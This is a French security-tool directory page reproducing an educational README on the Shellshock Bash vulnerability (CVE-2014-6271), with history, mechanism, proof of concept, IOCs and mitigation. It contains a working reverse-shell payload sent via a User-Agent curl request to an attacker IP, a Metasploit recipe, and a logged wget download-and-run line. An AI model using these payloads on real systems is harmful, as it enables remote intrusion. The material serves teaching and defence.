Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
-CVE-2014-6271 — Dépôt éducatif détaillant la vulnérabilité Shellshock (CVE-2014-6271), incluant l'analyse technique, les vecteurs d'attaque, l'exploitation de preuve de concept et les étapes d'atténuation pour l'injection de variables d'environnement Bash. | Kitploit
Outils/GitHubGitHub/kaleth4/-cve-2014-6271
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et Éducation
GitHubkaleth4/-cve-2014-6271

-CVE-2014-6271

Dépôt éducatif détaillant la vulnérabilité Shellshock (CVE-2014-6271), incluant l'analyse technique, les vecteurs d'attaque, l'exploitation de preuve de concept et les étapes d'atténuation pour l'injection de variables d'environnement Bash.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
root@kitploit:~
 ____  _   _ _____ _     _     ____  _   _  ___   ____ _  __
/ ___|| | | | ____| |   | |   / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| |  _| | |   | |   \___ \| |_| | | | | |   | ' / 
 ___) |  _  | |___| |___| |___ ___) |  _  | |_| | |___| . \ 
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\

CVE-2014-6271 — Shellshock

Exécution de code à distance via l'injection de variables d'environnement Bash

CVE CVSS Type Bash Status

"Une faille qui est restée cachée dans Bash pendant des décennies et a ébranlé les fondations d'Internet en moins de 24 heures."


Table des matières

  • Qu'est-ce que Shellshock ?
  • Chronologie
  • Systèmes affectés
  • Description technique
  • PoC — Preuve de concept
  • Vecteurs d'attaque
  • Exploitation complète : reverse shell
  • Indicateurs de compromission (IOC)
  • Mitigation
  • Avertissement

❓ Qu'est-ce que Shellshock ?

Shellshock (également connu sous le nom de Bashdoor) est une famille de vulnérabilités critiques dans l'interpréteur de commandes GNU Bash qui permet à un attaquant distant d'exécuter des commandes arbitraires sur le système cible.

L'erreur fondamentale : Bash ne s'arrêtait pas d'analyser une variable d'environnement après la fin de la définition d'une fonction. Tout code concaténé après () { :; }; était exécuté automatiquement.

root@kitploit:~
Variable Env → Définition de fonction → [ICI EXÉCUTE DU CODE SUPPLÉMENTAIRE] ← BUG

Étant donné que les serveurs web (CGI/Apache), les services SSH et les clients DHCP convertissent des en-têtes ou paramètres en variables d'environnement de Bash, la surface d'attaque était massive.


📅 Chronologie

root@kitploit:~
12 sept. 2014 ──── Stéphane Chazelas découvre le bug et le signale à Chet Ramey (mainteneur de Bash)
                 Le bug existait dans Bash depuis plus de 20 ans.

24 sept. 2014 ──── Divulgation publique + publication du correctif (CVE-2014-6271)
                 Heures après : des botnets actifs scrutent massivement Internet.

25-30 sept. 2014 ── Découvertes de vulnérabilités apparentées :
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct. 2014 ──────── Des millions d'attaques enregistrées. Comparé en sévérité à Heartbleed.

💻 Systèmes affectés


🔬 Description technique

Le mécanisme du bug

Lorsque Bash importe une fonction depuis une variable d'environnement, il lit jusqu'à l'accolade fermante } de la fonction. Dans les versions vulnérables, il continuait à traiter le code suivant au lieu de s'arrêter.

root@kitploit:~
# Variable d'environnement malveillante :
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnérable à l'initialisation :
# 1. Lit la définition de fonction  → OK
# 2. Trouve }; → devrait s'arrêter
# 3. CONTINUE → exécute /bin/cat /etc/passwd  ← BUG

Flux de l'attaque via CGI

root@kitploit:~
Attaquant                    Serveur Apache (CGI)              Bash (vulnérable)
   │                               │                                │
   │  Requête HTTP                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │ Convertit les en-têtes en env vars
   │                               │ HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ Exécute cmd
   │                               │                                │ en tant que www-data
   │◀──────────────────────────────│◀───────────────────────────────│
   │  Réponse + sortie de cmd      │                                │

🧪 PoC — Preuve de concept

Vérification basique de vulnérabilité

root@kitploit:~
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Résultat sur un système VULNÉRABLE :

root@kitploit:~
VULNERABLE
this is a test

Résultat sur un système CORRIGÉ :

root@kitploit:~
this is a test

(ou une erreur de syntaxe — n'affiche jamais "VULNERABLE")


⚔️ Vecteurs d'attaque

1. CGI-BIN (le plus courant)

Les serveurs web qui utilisent des scripts .cgi convertissent les en-têtes HTTP en variables d'environnement de Bash.

root@kitploit:~
En-têtes affectés : User-Agent, Referer, Cookie, X-Forwarded-For, et tout en-tête personnalisé

2. SSH avec ForceCommand

root@kitploit:~
# Si le serveur a ForceCommand configuré, un attaquant avec une clé valide peut le contourner
ssh user@target '() { :;}; /bin/bash'

3. Client DHCP

Des serveurs DHCP malveillants peuvent injecter des variables d'environnement chez les clients qui utilisent Bash pour traiter la réponse DHCP.

4. Variables d'environnement directes

root@kitploit:~
# Tout processus qui hérite de variables d'environnement et exécute Bash
env VAR='() { :;}; commande_malveillante' bash -c "script_légitime"

💀 Exploitation complète : reverse shell

Étape 1 : Listener sur la machine attaquante

root@kitploit:~
nc -lvnp 4444

Étape 2 : Payload de reverse shell

root@kitploit:~
# Payload à injecter dans le User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATTAQUANT/4444 0>&1

Étape 3 : Envoyer la requête malveillante

root@kitploit:~
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://site-vulnerable.com/cgi-bin/test.cgi

Étape 4 : Shell obtenu

root@kitploit:~
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

Module Metasploit

root@kitploit:~
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

🔍 Indicateurs de compromission (IOC)

Dans les logs d'Apache/Nginx

root@kitploit:~
# Rechercher le motif caractéristique dans access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Exemple de log malveillant :
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

Processus suspects

root@kitploit:~
# Processus fils de www-data/apache qui ne devraient pas exister
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

Indicateurs sur le système

root@kitploit:~
- Nouveaux fichiers exécutables dans /tmp, /var/tmp, /dev/shm
- Connexions sortantes depuis le serveur web vers des IP inconnues
- Modification de /etc/crontab ou /etc/passwd
- Processus bash tournant sous www-data sans terminal

🛡️ Mitigation

Correctif immédiat (PRIORITÉ CRITIQUE)

root@kitploit:~
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Vérifier la version corrigée (doit afficher "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNÉRABLE
# GNU bash, version 4.3.33(1)-release → CORRIGÉ (varie selon la distro)

Vérification post-correctif

root@kitploit:~
# Doit renvoyer uniquement "this is a test" — JAMAIS "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

Mesures supplémentaires

root@kitploit:~
# 1. Désactiver CGI si non nécessaire
a2dismod cgi

# 2. Règle WAF pour bloquer le motif
# Dans ModSecurity :
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Tentative Shellshock'"

# 3. Surveillance continue des logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"

⚠️ Avertissement

Ce dépôt est exclusivement à des fins éducatives, de recherche en cybersécurité et d'audits de sécurité autorisés. Toutes les informations présentées ici sont dans le domaine public. Effectuer des tests contre des systèmes sans autorisation explicite est illégal selon les lois de la plupart des juridictions. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations.


Découvert par Stéphane Chazelas · Publié le 24 septembre 2014

Score CVSS : 10.0 (Critique) → Ultérieurement ajusté à 9.8 en CVSSv3

Télécharger l’outil
ProduitVersions vulnérablesStatut
GNU Bash1.0.3 – 4.3Corrigé
Linux (Debian/Ubuntu/CentOS/RHEL)Versions antérieures à sept. 2014Corrigé
Apple macOS / OS X10.10 et antérieuresCorrigé (Security Update 2014-005)
Appareils IoT avec Bash embarquéMultiplesVarie selon le fabricant
Serveurs web avec CGI sur ApacheToute version avec Bash vulnérableCorrigé